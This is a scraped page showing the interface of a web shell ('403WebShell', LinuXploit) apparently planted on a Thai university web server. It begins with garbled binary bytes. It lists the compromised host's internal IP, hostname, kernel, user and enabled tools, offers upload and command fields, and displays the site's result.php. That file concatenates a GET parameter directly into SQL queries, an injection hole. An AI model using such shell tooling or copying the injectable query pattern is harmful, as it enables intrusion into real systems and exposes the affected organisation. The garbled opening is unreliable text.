h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/green/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/green/result.php
<?php include 'dbconnect.php';?>
<?php include 'header.php';?>

    <!-- ======= Why Us Section ======= -->
    <section id="result" class="result">
      <div class="container mt-5">
<?php
$category_code = (isset($_GET["category_code"])) ? $_GET["category_code"] : '';
//$category_code = 'lib5';
$sql = "SELECT category.category_name, term.term_name FROM category INNER JOIN term ON category.term_code=term.term_code WHERE category.category_code='" . $category_code . "'";
$query = mysqli_query($conn,$sql);	
if ($result=mysqli_fetch_array($query,MYSQLI_ASSOC)) { //เจอหมวดมั้ย
?>	  
			<p align="center" style="font-size:xx-large; font-weight:bold;">การประเมิน<?php echo $result["term_name"];?></p>
			<p align="center" style="font-size:x-large; font-weight:bold;"><?php echo $result["category_name"];?></p>
			
			<table class="table table-bordered mt-4 mb-5" style="border-color:#000000;">
			  <thead>
				<tr align="center" valign="middle">
				  <th style="background-color:#FFFF99;">ประเด็น ตัวชี้วัด</th>
				  <th style="background-color:#FFFF99;">ผลการดำเนินงาน</th>
				  <th style="background-color:#FFFF99;">หลักฐาน</th>
				</tr>
			  </thead>
			  <tbody>
<?php 
$sql2 = "SELECT * FROM subject WHERE category_code='" . $category_code . "' ORDER BY subject_order ASC";
$query2 = mysqli_query($conn,$sql2);	
while ($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) { 
?>
				<tr>
				  <td colspan="3" style="background-color:#BCE2C6; font-weight:bold; color:#0000FF; font-size:larger;"><?php echo $result2["subject_name"];?></td>
				</tr>
	<?php 
	$sql3 = "SELECT * FROM indicator WHERE subject_code='" . $result2["subject_code"] . "' ORDER BY indicator_order ASC";
	$query3 = mysqli_query($conn,$sql3);	
	while ($result3=mysqli_fetch_array($query3,MYSQLI_ASSOC)) { 
	?>
					<tr>
					  <td>
					  	<p style="margin-top:5px; margin-bottom:5px; color:#0000FF;"><b><?php echo $result3["indicator_name"];?></b></p>
						<?php echo $result3["indicator_detail"];?>
					  </td>
					  <td><?php echo $result3["indicator_result"];?></td>
					  <td>
<?php
						$sql4 = "SELECT * FROM document WHERE indicator_code='" . $result3["indicator_code"] . "' ORDER BY document_order ASC";
						$query4 = mysqli_query($conn,$sql4);	
						while ($result4=mysqli_fetch_array($query4,MYSQLI_ASSOC)) { 
							/*$file_url = "document/" . $result3["indicator_code"] . "/" . $result4["file_name"];
?>
							<a href="<?php echo $file_url;?>" target="_blank"><img src="images/global50.gif" width="25px" /> <?php echo $result4["show_name"];?></a><br />
<?php*/
								if ($result4["file_name"]<>"") { 
									$file_url = "document/" . $result3["indicator_code"] . "/" . $result4["file_name"];
?>
									<a href="<?php echo $file_url;?>" target="_blank" title="ดูหลักฐาน"><img src="images/global50.gif" width="25px" /> <?php echo $result4["show_name"];?></a><br />
<?php								
								} elseif ($result4["url"]<>"") { //if ($result4["file_name"]<>"") {
?>
									<a href="<?php echo $result4["url"];?>" target="_blank" title="ดูหลักฐาน"><img src="images/global50.gif" width="25px" /> <?php echo $result4["show_name"];?></a><br />
<?php								
								} //if ($result4["file_name"]<>"") {
						
						} //while ($result4=mysqli_fetch_array($query4,MYSQLI_ASSOC)) { 
?>									  
					  </td>
					</tr>
	<?php
	} //while ($result3=mysqli_fetch_array($query3,MYSQLI_ASSOC)) {

} //while ($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {
?>
			  </tbody>
			</table>
			<div align="center">
				<a href="index.php#why-us" title="ดูหมวดอื่นๆ"><button type="button" class="btn btn-success btn-sm" style="font-size:x-large;">หมวดอื่นๆ</button></a>			
			</div>
<?php
} else { //if ($result=mysqli_fetch_array($query,MYSQLI_ASSOC)) { //เจอหมวดมั้ย
?>
	<h3 align="center" style="color:#FF0000;">กรุณาเลือกหมวด</h3><br>";
<?php
} //if ($result=mysqli_fetch_array($query,MYSQLI_ASSOC)) { //เจอหมวดมั้ย
?>

      </div>
    </section><!-- End Why Us Section -->   

<?php include 'footer.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit